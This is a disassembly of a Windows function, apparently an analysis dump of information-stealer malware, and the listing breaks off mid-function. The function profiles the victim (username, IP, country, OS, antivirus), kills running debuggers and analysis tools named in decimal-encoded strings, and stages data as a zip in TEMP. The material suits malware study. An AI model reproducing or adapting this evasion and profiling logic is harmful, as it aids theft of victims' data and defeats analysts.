Function at 0x14003e860
Capabilities:
Create process on windows
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x810]
sub rsp, 0x910
mov rax, qword [0x140346fc0]
xor rax, rsp
mov qword [rbp + 0x800], rax
lea rdx, str.116_114_115_102_115_100_102_114_46_101_120_101
lea rcx, [rbp + 0x180]
call fcn.140025de0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x410]
call fcn.140023cc0
lea rcx, [rbp + 0x180]
call fcn.1400067f0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x410]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x410]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1c0]
call fcn.14005d8e0
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140005b50
lea rcx, [rbp + 0xe0]
call fcn.14000a650
mov rdx, rax
lea r8, [rbp + 0x180]
lea rcx, [rbp + 0x360]
call fcn.1400067a0
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.140005d40
lea rcx, [rbp + 0x360]
call fcn.1400067f0
lea rcx, [rbp + 0xe0]
call fcn.1400067f0
lea rcx, [rbp + 0x180]
call fcn.1400067f0
lea rcx, [rbp + 0x1c0]
call fcn.1400067f0
lea rdx, [rbp + 0x200]
call fcn.14003e630
xor r13d, r13d
test al, al
je 0x14003ea2a
mov dword [rbp + 0x430], WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x438], xmm0
movups xmmword [rbp + 0x448], xmm0
movups xmmword [rbp + 0x458], xmm0
movups xmmword [rbp + 0x468], xmm0
movups xmmword [rbp + 0x478], xmm0
movups xmmword [rbp + 0x488], xmm0
lea rcx, [rbp + 0x200]
call fcn.140048b60
mov rcx, rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x430]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14003ea2a
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call fcn.140024dd0
lea rcx, [rbp + 0x260]
call fcn.140025360
lea rcx, [rbp + 0x3c0]
call fcn.1400325f0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x340]
call fcn.140032b80
lea rcx, [rbp + 0x320]
call fcn.140032c40
lea rcx, [rbp + 0x3a0]
call fcn.140032d50
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x300]
call fcn.140032b80
lea rcx, [rbp + 0x2e0]
call fcn.14003d380
cmp qword [rbp + 0x290], r13
jne 0x14003eab4
lea rdx, str.Unknown
lea rcx, [rbp + 0x280]
call fcn.140049530
cmp qword [rbp + 0x270], r13
jne 0x14003ead0
lea rdx, str.Unknown
lea rcx, [rbp + 0x260]
call fcn.140049530
cmp qword [rbp + 0x330], r13
jne 0x14003eaec
lea rdx, str.Unknown
lea rcx, [rbp + 0x320]
call fcn.140049530
cmp qword [rbp + 0x310], r13
jne 0x14003eb08
lea rdx, str.Unknown
lea rcx, [rbp + 0x300]
call fcn.140049530
cmp qword [rbp + 0x350], r13
jne 0x14003eb24
lea rdx, str.Unknown
lea rcx, [rbp + 0x340]
call fcn.140049530
lea r8, [rbp + 0x320]
lea rdx, str.Username:
lea rcx, [rbp + 0x100]
call fcn.140056110
mov rdx, rax
lea r8, str._nIP_Address:
lea rcx, [rbp + 0x240]
call fcn.140054510
mov rdx, rax
lea r8, [rbp + 0x280]
lea rcx, [rbp + 0x160]
call fcn.140054660
mov rdx, rax
lea r8, str._nCountry_Code:
lea rcx, [rbp + 0x80]
call fcn.140054510
mov rdx, rax
lea r8, [rbp + 0x260]
lea rcx, [rbp + 0x1c0]
call fcn.140054660
mov rdx, rax
lea r8, str._nOS_Version:
lea rcx, [rbp + 0xe0]
call fcn.140054510
mov rdx, rax
lea r8, [rbp + 0x300]
lea rcx, [rbp + 0x360]
call fcn.140054660
mov rdx, rax
lea r8, str._nAntivirus:
lea rcx, [rbp + 0x180]
call fcn.140054510
mov rdx, rax
lea r8, [rbp + 0x340]
lea rcx, [rbp + 0x380]
call fcn.140054660
lea rcx, [rbp + 0x180]
call fcn.140049640
lea rcx, [rbp + 0x360]
call fcn.140049640
lea rcx, [rbp + 0xe0]
call fcn.140049640
lea rcx, [rbp + 0x1c0]
call fcn.140049640
lea rcx, [rbp + 0x80]
call fcn.140049640
lea rcx, [rbp + 0x160]
call fcn.140049640
lea rcx, [rbp + 0x240]
call fcn.140049640
lea rcx, [rbp + 0x100]
call fcn.140049640
lea rcx, [rbp + 0x3e0]
call fcn.140015230
lea rdx, str.84_104_101_32_73_110_116_101_114_97_99_116_105_118_101_32_68_105_115_97_115_115_101_109_98_108_101_114
lea rcx, [rbp + 0x4a0]
call fcn.140025de0
lea rdx, str.120_54_52_100_98_103
lea rcx, [rbp + 0x4c0]
call fcn.140025de0
lea rdx, str.80_114_111_99_101_115_115_32_72_97_99_107_101_114
lea rcx, [rbp + 0x4e0]
call fcn.140025de0
lea rdx, str.87_105_114_101_115_104_97_114_107
lea rcx, [rbp + 0x500]
call fcn.140025de0
lea rdx, str.100_110_83_112_121
lea rcx, [rbp + 0x520]
call fcn.140025de0
lea rdx, str.68_101_116_101_99_116_32_73_116_32_69_97_115_121_40_68_105_69_41
lea rcx, [rbp + 0x540]
call fcn.140025de0
lea rdx, str.69_120_69_105_110_102_111_32_80_69_32_45_32_87_105_110_51_50_32_101_120_101_32_105_100_101_110_116_105_102_105_101_114
lea rcx, [rbp + 0x560]
call fcn.140025de0
lea rdx, str.77_97_108_119_97_114_101_32_73_110_105_116_105_97_108_32_65_115_115_101_115_115_109_101_110_116_32_124_32_119_119_119_46_119_105_110_105_116_111_114_46_99_111_109
lea rcx, [rbp + 0x580]
call fcn.140025de0
lea rdx, str.67_111_109_109_111_110_32_70_105_108_101_32_70_111_114_109_97_116_32_69_120_112_108_111_114_101_114
lea rcx, [rbp + 0x5a0]
call fcn.140025de0
lea rdx, str.72_120_68_32_72_101_120_32_69_100_105_116_111_114
lea rcx, [rbp + 0x5c0]
call fcn.140025de0
lea rdx, str.74_97_118_97_40_84_77_41_32_80_108_97_116_102_111_114_109_32_83_69_32_98_105_110_97_114_121
lea rcx, [rbp + 0x5e0]
call fcn.140025de0
lea rdx, str.66_105_110_97_114_121_32_78_105_110_106_97_32_52_46_48
lea rcx, [rbp + 0x600]
call fcn.140025de0
lea rdx, str.83_121_115_105_110_116_101_114_110_97_108_115_32_80_114_111_99_101_115_115_32_69_120_112_108_111_114_101_114
lea rcx, [rbp + 0x620]
call fcn.140025de0
lea rdx, str.80_114_111_99_101_115_115_32_77_111_110_105_116_111_114
lea rcx, [rbp + 0x640]
call fcn.140025de0
lea rdx, str.83_121_115_105_110_116_101_114_110_97_108_115_32_84_99_112_86_105_101_119
lea rcx, [rbp + 0x660]
call fcn.140025de0
lea rdx, str.83_121_115_116_101_109_32_97_99_116_105_118_105_116_121_32_109_111_110_105_116_111_114
lea rcx, [rbp + 0x680]
call fcn.140025de0
lea rdx, str.65_117_116_111_115_116_97_114_116_32_112_114_111_103_114_97_109_32_118_105_101_119_101_114
lea rcx, [rbp + 0x6a0]
call fcn.140025de0
lea rdx, str.80_121_116_104_111_110
lea rcx, [rbp + 0x6c0]
call fcn.140025de0
lea rdx, str.87_105_110_100_111_119_115_32_80_111_119_101_114_83_104_101_108_108
lea rcx, [rbp + 0x6e0]
call fcn.140025de0
lea rdx, str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_51_50_45_98_105_116
lea rcx, [rbp + 0x700]
call fcn.140025de0
lea rdx, str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_54_52_45_98_105_116
lea rcx, [rbp + 0x720]
call fcn.140025de0
lea rdx, str.48_49_48_32_69_100_105_116_111_114_32_45_32_80_114_111_32_84_101_120_116_47_72_101_120_32_69_100_105_116_111_114
lea rcx, [rbp + 0x740]
call fcn.140025de0
lea rdx, str.72_101_120_32_87_111_114_107_115_104_111_112
lea rcx, [rbp + 0x760]
call fcn.140025de0
lea rdx, str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_65_78_83_73
lea rcx, [rbp + 0x780]
call fcn.140025de0
lea rdx, str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_65_78_83_73
lea rcx, [rbp + 0x7a0]
call fcn.140025de0
lea rdx, str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_85_110_105_99_111_100_101
lea rcx, [rbp + 0x7c0]
call fcn.140025de0
lea rdx, str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_85_110_105_99_111_100_101
lea rcx, [rbp + 0x7e0]
call fcn.140025de0
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0xc0], rax
lea rax, [rbp + 0x800]
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x3e0]
call fcn.14003a9f0
lea r9, [fcn.1400067f0]
mov edx, 0x20
lea r8d, [rdx - 5]
lea rcx, [rbp + 0x4a0]
call fcn.140260fd4
call fcn.1400323f0
test al, al
je 0x14003eeb4
call fcn.1400323f0
call fcn.1400324a0
test al, al
jne 0x14003eecd
call fcn.1400322e0
mov r14d, 1
jmp 0x140040c3b
lea r12, [0x140361710]
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.1400548a0
lea rcx, [rbp + 0x180]
call fcn.14000a030
movzx ebx, al
lea rcx, [rbp + 0x180]
call fcn.1400067f0
test bl, bl
jne 0x14003ef29
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.1400548a0
lea rcx, [rbp + 0x180]
call fcn.14000a350
lea rcx, [rbp + 0x180]
call fcn.1400067f0
lea rcx, [rbp + 0x3f8]
call fcn.140015230
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x3f8]
call fcn.140033950
lea rcx, [rbp + 0x3f8]
call fcn.140033a50
mov rdi, qword [0x1403616b8]
mov r15, qword [0x1403616c0]
mov r14d, 1
cmp rdi, r15
je 0x14003f0ea
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.140033780
mov esi, r13d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14003efb7
lea rdx, str.CreateToolhelp32Snapshot_failed
lea rcx, [0x14035f780]
call fcn.14005cd40
mov rcx, rax
call fcn.14005d000
jmp 0x14003f097
mov dword [rbp + 0x4a0], 0x238
lea rdx, [rbp + 0x4a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14003f000
lea rdx, str.Process32First_failed
lea rcx, [0x14035f780]
call fcn.14005cd40
mov rcx, rax
call fcn.14005d000
jmp 0x14003f08e
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x4cc]
call fcn.140272008
test eax, eax
je 0x14003f03d
lea rdx, [rbp + 0x4a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14003f000
jmp 0x14003f043
mov esi, dword [rbp + 0x4a8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x14003f097
mov r8d, esi
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14003f083
lea rdx, str.OpenProcess_failed
lea rcx, [0x14035f780]
call fcn.14005cd40
mov rcx, rax
call fcn.14005d000
jmp 0x14003f097
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14003f0dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f0d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f0
call fcn.140260e60
add rdi, 0x20
cmp rdi, r15
jne 0x14003ef71
call fcn.140025f60
call fcn.1400271e0
call fcn.140026a70
call qword [sym.imp.ole32.dll_CoUninitialize]
call fcn.140033220
call fcn.140036740
call fcn.140038b50
call fcn.140034d40
call fcn.14003ad80
lea rcx, str.TEMP
call fcn.14027fbd8
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14003f143
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140012310
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
mov rcx, qword [rbp + 0x250]
sub rax, rcx
cmp rax, r14
jb 0x1400410ea
lea r9, [rbp + 0x240]
cmp qword [rbp + 0x258], 0xf
cmova r9, qword [rbp + 0x240]
mov qword [rsp + 0x30], r14
lea rax, [0x1402f8dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x240]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0xe0]
call fcn.14006c6e0
mov r8, r14
lea rdx, [0x1402f69b0]
lea rcx, [rbp + 0xe0]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rdx, [rbp + 0x260]
cmp qword [rbp + 0x278], 0xf
cmova rdx, qword [rbp + 0x260]
mov r8, qword [rbp + 0x270]
lea rcx, [rbp + 0x80]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r13
mov byte [rax], r13b
mov r8, r14
lea rdx, [0x1402fb940]
lea rcx, [rbp + 0x160]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x290]
lea rcx, [rbp + 0xa0]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r13
mov byte [rax], r13b
mov r8, r14
lea rdx, [0x1402fb940]
lea rcx, [rbp + 0xc0]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova rdx, qword [rbp + 0x2e0]
mov r8, qword [rbp + 0x2f0]
lea rcx, [rbp + 0x220]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r13
mov byte [rax], r13b
mov r8, r14
lea rdx, [0x1402f69ac]
lea rcx, [rsp + 0x58]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14003f458
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], r13b
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14003f4ac
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f4a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14003f504
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f4ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r13b
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14003f55c
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f557
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], r13b
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14003f5b4
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f5af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], r13b
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14003f60c
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f607
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], r13b
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14003f664
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f65f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410f6
call fcn.140260e60
mov rdi, qword [rbp + 0x150]
lea rbx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rbx, qword [rbp + 0x140]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0xe0]
call fcn.140005880
mov r8d, 3
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xa0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa0], ecx
lea r15, str.Xa_
mov qword [rbp + 0xa8], r15
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x1400403e6
cmp eax, r14d
setne bl
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x14003f74f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f74a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410fc
call fcn.140260e60
test bl, bl
je 0x14003f77e
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x180]
call fcn.14005e2b0
lea rcx, [rbp + 0x180]
call fcn.14000a5b0
lea rcx, [rbp + 0x180]
call fcn.1400067f0
lea r8, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova r8, qword [rbp + 0x140]
add r8, qword [rbp + 0x150]
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x180]
call fcn.14005d8e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
cmp qword [0x140361728], 7
cmova r12, qword [0x140361710]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8, qword [0x140361720]
mov rdx, r12
lea rcx, [rbp + 0x1a0]
call fcn.140025e20
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 7
cmova rcx, qword [rbp + 0x1a0]
call fcn.1402429c8
test eax, eax
jne 0x140041102
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 7
jbe 0x14003f8b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f8b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004111f
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rbp + 0x1b0], xmm0
mov word [rbp + 0x1a0], r13w
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x14003f913
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f90e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004111f
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], r13w
mov rdx, qword [rbp + 0x198]
cmp rdx, 7
jbe 0x14003f971
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f96c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004111f
call fcn.140260e60
mov rax, qword [rbp + 0x150]
sub rsi, rax
cmp rsi, 4
jb 0x140041125
lea r9, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova r9, qword [rbp + 0x140]
mov qword [rsp + 0x30], 4
lea rcx, str..zip
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x140]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x120]
call fcn.14006c6e0
mov rdi, qword [rbp + 0x130]
lea rbx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rbx, qword [rbp + 0x120]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0xe0]
call fcn.140005880
mov r8d, 3
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xa0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa0], ecx
mov qword [rbp + 0xa8], r15
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x1400403f5
cmp eax, r14d
setne bl
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x14003fab2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003faad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004112b
call fcn.140260e60
test bl, bl
je 0x14003fae1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x180]
call fcn.14005e2b0
lea rcx, [rbp + 0x180]
call fcn.14000a110
lea rcx, [rbp + 0x180]
call fcn.1400067f0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x120]
call fcn.14003ded0
mov rdi, qword [rbp + 0x150]
lea rbx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rbx, qword [rbp + 0x140]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.140005880
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
call fcn.1402427a0
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0xc0], rcx
mov dword [rbp + 0xa0], edx
mov qword [rbp + 0xa8], r15
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
cmp edx, 0x91
jne 0x14003fba5
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x80]
call fcn.14000a3a0
cmp dword [rbp + 0xa0], r13d
jne 0x140041131
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14003fbf8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fbf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004114c
call fcn.140260e60
mov rdi, qword [rbp + 0x130]
lea rbx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rbx, qword [rbp + 0x120]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0xe0]
call fcn.140005880
mov r8d, 3
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xa0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa0], ecx
mov qword [rbp + 0xa8], r15
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x140040404
cmp eax, r14d
setne bl
